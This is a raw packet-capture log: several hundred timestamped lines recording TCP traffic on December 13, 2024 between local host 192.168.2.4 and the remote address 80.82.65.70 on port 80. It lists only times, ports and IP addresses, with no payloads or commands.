Dec 13, 2024 03:40:49.230387926 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.230428934 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.231369972 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.231412888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.231451035 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.231488943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.297141075 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.297184944 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.297233105 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.297245026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.297247887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.297283888 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.297286987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.297321081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.298257113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.298314095 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.298319101 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.298353910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.299536943 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.299591064 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.299592018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.299631119 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.300550938 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.300607920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.300668955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.300714970 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.301459074 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.301507950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.301565886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.301609039 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.302530050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.302578926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.302707911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.302755117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.303582907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.303639889 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.303767920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.303814888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.304755926 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.304794073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.304805040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.304837942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.305845976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.305881977 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.305896997 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.305919886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.306909084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.306971073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.306998014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.307044983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.307924986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.307977915 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.308154106 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.308204889 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.309149981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.309185028 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.309195995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.309223890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.310209990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.310259104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.310313940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.310358047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.311186075 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.311238050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.311300039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.311350107 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.312443018 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.312479973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.312494993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.312520027 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.313376904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.313429117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.313549995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.313596964 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.314397097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.314445972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.314595938 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.314641953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.315465927 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.315515995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.315565109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.315613031 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.316826105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.316862106 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.316874981 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.316900015 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.317713022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.317763090 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.317812920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.317861080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.318788052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.318826914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.318840027 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.318866014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.320028067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.320060968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.320071936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.320102930 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.321058035 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.321094990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.321109056 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.321134090 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.322144032 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.322179079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.322192907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.322217941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.323086023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.323139906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.323263884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.323317051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.324162006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.324210882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.442043066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.442152023 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.443116903 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.443171978 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.443293095 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.459108114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.459177017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.562479019 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.562552929 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.562702894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.562741041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.562875986 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.579200983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.579296112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.682811975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.682864904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.682899952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.682928085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.682928085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.682957888 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.682970047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.682992935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683001041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683028936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683028936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683065891 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683075905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683104992 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683106899 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683141947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683146954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683176041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683187962 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683212042 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683217049 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683250904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683254004 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683284998 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683290005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683327913 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683350086 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683384895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683393002 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683418036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683423042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683453083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683461905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683489084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683497906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683525085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683528900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683561087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683563948 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683594942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683600903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683630943 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683636904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683665991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683671951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683707952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683862925 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683897972 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683903933 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683932066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683938980 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.683969021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.683973074 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.684003115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.684010983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.684037924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.684042931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.684072018 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.684078932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.684108973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.684113979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.684144020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.684149027 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.684179068 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.684186935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.684214115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.684218884 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.684252977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685030937 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685082912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685091019 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685122967 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685125113 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685164928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685183048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685220003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685231924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685256004 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685264111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685292006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685300112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685327053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685334921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685364008 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685368061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685404062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685487032 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685523033 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685537100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685558081 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685560942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685592890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685597897 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685626984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685636044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685663939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685667992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685693979 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685704947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685729980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685735941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685765982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685771942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685801029 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685806036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685836077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.685839891 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.685873985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.686563969 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.686615944 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.686619997 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.686652899 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.686655998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.686688900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.686691999 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.686726093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.686729908 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.686768055 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.686773062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.686804056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.686808109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.686840057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.686846972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.686876059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.686880112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.686912060 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.686916113 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.686947107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.686952114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.686985970 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.686988115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.687026024 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.687397957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.687434912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.687449932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.687469959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.687474012 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.687505960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.687510014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.687541008 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.687545061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.687576056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.687580109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.687609911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.687614918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.687645912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.687649965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.687680006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.687686920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.687715054 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.687720060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.687748909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.687753916 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.687791109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.688345909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.688381910 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.688397884 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.688417912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.688421965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.688452005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.688460112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.688487053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.688493013 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.688523054 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.688525915 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.688556910 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.688561916 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.688605070 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.688610077 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.688640118 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.688644886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.688676119 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.688680887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.688709974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.688715935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.688750982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689151049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689207077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689213037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689243078 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689250946 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689277887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689285040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689312935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689318895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689353943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689604044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689657927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689750910 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689786911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689801931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689821005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689831018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689857006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689863920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689889908 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689897060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689925909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689933062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689960957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.689968109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.689996958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.690001011 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.690032959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.690037012 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.690068960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.690074921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.690105915 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.690109015 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.690145969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.690737009 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.690772057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.690789938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.690808058 CET	80	49730	80.82.65.70	192.168.2.4
